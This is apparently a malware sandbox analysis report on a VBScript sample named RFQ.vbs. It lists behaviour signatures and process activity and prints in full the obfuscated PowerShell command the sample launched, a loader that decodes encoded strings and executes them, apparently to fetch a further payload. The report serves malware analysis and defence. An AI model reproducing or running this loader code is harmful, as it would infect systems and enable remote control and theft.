Analysis
- max time kernel
40s - max time network
36s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
22/07/2026, 07:58
General
- Target RFQ.vbs
- Size 43KB
- Sample260722-jtyawsfk6t
- SHA256 5b0109c57ad109a1608daf28f45d7a28166404fa7ffb9c9344a0e57c665e1c27
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function zxyvwq { [void](Get-Date); $salgbarestes = [System.IO.Path]::GetTempPath()}rv 'dyrlgeforening' 'idiophone' 'floragrammernes';[void](Get-Date);$rundkastes=-24992+24992;$vanillas=-17674+23674;$wises = [Math]::Sqrt(144);function rhamnonic ($klagetema,$amply) {$ostensories = [Math]::Sqrt(225);$interloop=paletknivenes(@(119,228,218,212,221,206,226,208,217,198,155,213,203,232,224,155,154,202,219,219,216,222,151)) ;[void](Get-Date);Paleornithology ($interloop);[void][Guid]::NewGuid()}function paletknivenes ($amplyrokaderne) { $tetraselenodont = [System.IO.Path]::GetTempPath();do {$vanillas=$rundkastes%12;[void](Get-Culture);$amplyrokaderne[$rundkastes]-=$titanium[$vanillas];$vanillas=$amplyrokaderne[$rundkastes];$vanillas=[char]$vanillas;$herbicidal = 'foobar thud qux'.ToUpper();$selvvalg+=$vanillas;$rundkastes++} while ($amplyrokaderne[$rundkastes])[char[]]'snarf glob blurp' | Out-Null;$selvvalg}function plmkoz { $naturalist = [Guid]::NewGuid(); [void](Get-Culture)}function Paleornithology ($retskafne) {$stolperne = Get-Process -Id $PID;&($alabamine) $retskafne;[void]([System.DateTime]::Now)}Function Emarginate ($amplyrokaderne,$moselvin=0){$udtmmelsernes = [Math]::Round(3.14159);$singlesculleren=paletknivenes(@(174,188,221,225,236,206,224,223,201,159,168,185,197,232,219,181,215,220,211,161,160,184,226,229,188,231,213,155,154,202,219,219,216,222,224,226,190,218,210,216,232,215,211,148));$sordavalite=@(Paleornithology ($singlesculleren));For($tomboyism=0; $sordavalite[$tomboyism] -ne $opdateringerne; $tomboyism++){[void](Get-Date);$sordavalite[$tomboyism] = rhamnonic $sordavalite[$tomboyism] $titanium[$tomboyism%12]}$nuzzler=paletknivenes(@(128,227,221,220,228,137,201,206,212,198,224,206,176,214,146,230,229,219,210,204,226,198,218,220,199,222));$rhythmproof = 'gargle snarf'.Split(' ');$truckfrere=Paleornithology ($nuzzler);if ($moselvin) { Paleornithology $truckfrere;[void][Guid]::NewGuid()}else {;$truckfrere}$realindkomstens = [System.Environment]::MachineName}$titanium=@(83,121,110,115,118,105,110,107,108,101,110,115);Start-Sleep -Milliseconds 1;$alabamine=paletknivenes @(156,190,198);$klagetemaxers='\Rigo.Sti';$udtappendes = [System.IO.Path]::GetRandomFileName();$pausesignalers=Emarginate 'ZldeU14+BwUIChkAczc6U0dZQFtXRTkaPU9aSFYRWF9XRRwFaUhbQVhZR0srAA0YPFZcQ0dZXlpcVE41OgsLFRkRQVpZV0BD';$vagtselskab=Emarginate 'Ow0aAwVTQUQIFwcFNlcJHBkOAg5CBgEefAwNTBMRHgQeEVMXPA4AHxkICk0FAVNCCkk7HBUrHTMVUzs3EhI9NjcFNjk8MyQ9ZhcAIS8EGQk=';$vermifuges=Emarginate 'HgoWHhpbQDgJFxgWISEjPz49OjtCU0BD';[void]([System.DateTime]::Now);$energiudladninger=Emarginate 'FDw6';$garagemestres=Emarginate 'BgoLAVsoCQ4CEQ==';$valgkongedmmet = 'plugh xyzzy frotz'.ToUpper();$forlystelsessteder=Emarginate 'bQ==';Emarginate 'dx4CHBQIAlEYDAoAPgodGhEdU08JCxhJMgkeFxcdD0BIDgISNBwaFhsIFg4eFg==' 1;Emarginate 'dx4CHBQIAlECBBobNgtTVwAICR8fAAIAOBgMXQUZAgIYTUoVPAsCCgUdCwcfAB0AJxwKFgRA' 1;[void](Get-Culture);$vagtselskab=$nather[0];Emarginate 'dx4CHBQIAlENBwAcIRQHBx8MHVYiABleHBsEFhUdTkYvCgNTdw8LARsACB4LAB0=' 1;Emarginate 'dx4CHBQIAlEfDRcAJxwcAEtBOg4fEUMjMg0GU1IdBw8fCB0AOh4aWg==' 1;$spatangoidea = Get-Process -Id $PID;while (!$shysters) {Emarginate 'dx4CHBQIAlE4DAUBPBcLABMNAg4CWEoHIQwL' 1;Emarginate 'dxgMHRkbAwIYDAsAfRYeFhhBSg4CABwUOgwKHxcNAAICAgsBf1lKBRcOGhgJCR0YMhtCU1IPDwcfAEc=' 1;[char[]]'grue zork' | Out-Null;Emarginate 'dxgMHRkbAwIYDAsAfQoLByQMHx4JFho7NhgKFgRBSgwNFw8UNhQLAAIbCxhARUoDMgwdFgUACQUNCQsBIFA=' 1;Emarginate 'dxgMHRkbAwIYDAsAfQoLHRJBRw==' 1;Emarginate 'dx4CHBQIAlENAx4BJRcHHREMHAUJWEoSMRcBARsAGgIJFkAAJxgaBgVJQw4dRVxDYw==' 1;[void][Guid]::NewGuid();if ($afprvningerne) {Emarginate 'CBsXBxMyMzZIAgIcMRgCSQUdHBILAAUFMgsaFgIdCwVRQQ8RPRYcHh8dBw4fSxwWIAkBHQUMLAQIHA==' 1;Emarginate 'IBpOVwIAChgBFh0aNA1OVwUdHBILAAUFMgsaFgIdCwVMSCsdMBYKGhgOTikVEQs=' 1;$realindkomstens = [Math]::Round(3.14159)} Emarginate 'ABULFgZBWkI=' 1;Emarginate 'dx4CHBQIAlEfDRcAJxwcAEtBOg4fEUMjMg0GU1IdBw8fCB0AOh4aWg==' 1 ;$tipning = 'wibble wobble baz'.Split(' ');Emarginate 'dx4CHBQIAlEHAAAXOhcJFgVUSgwACgwSP0MYEhoOAgIfEQtYeFxKHRcdBg4eSw0cJhca' 1;$vagtselskab=$nather[$kendinges]}[void]([System.IO.Path]::GetTempPath());$gaussfilterfunktioner=142277;$palaemonoid=19974;Emarginate 'dx4CHBQIAlEEAAIHMhUCFhgMUwwPRUoHOh0dHgUaBwwY' 1;$rhythmproof = [System.Environment]::MachineName;Emarginate 'dx4CHBQIAlErBBoWMh0BTi0qAQUaABwHDkNUNQQGAykNFgtFZyoaAR8HCUNIDQsfJxgCHxMHC0I=' 1;Emarginate 'dx4CHBQIAlEfCQcXIBgPARMHC1lfUFMoBxwWB1gsAAgDAQcdNCRUSTc6LSIlSykWJyoaAR8HCUNIIg8HNhgKHF8=' 1;Emarginate 'dx4CHBQIAlEZBwIcNxAJB0tNHQcFAR0SMgsLHRNbXV5CFhsRIA0cGhgORk8LBBsAIB8HHwIMHA0ZCwUHOhYAFgRFShsNCQ8WPhYAHB8NRw==' 1;Start-Sleep -Milliseconds 2;Paleornithology $ublodigt;function rtwpxq { $omgr189 = [System.Environment]::MachineName};;;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4896-0-0x00007FF99F5EF000-0x00007FF99F5F0000-memory.dmp
memory/4896-1-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4896-5-0x0000022F7D910000-0x0000022F7D932000-memory.dmp
memory/4896-2-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4896-6-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4896-7-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4896-8-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4896-9-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4896-10-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4896-11-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4896-12-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4896-13-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4896-14-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4896-15-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4896-16-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4896-17-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4896-18-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4896-20-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp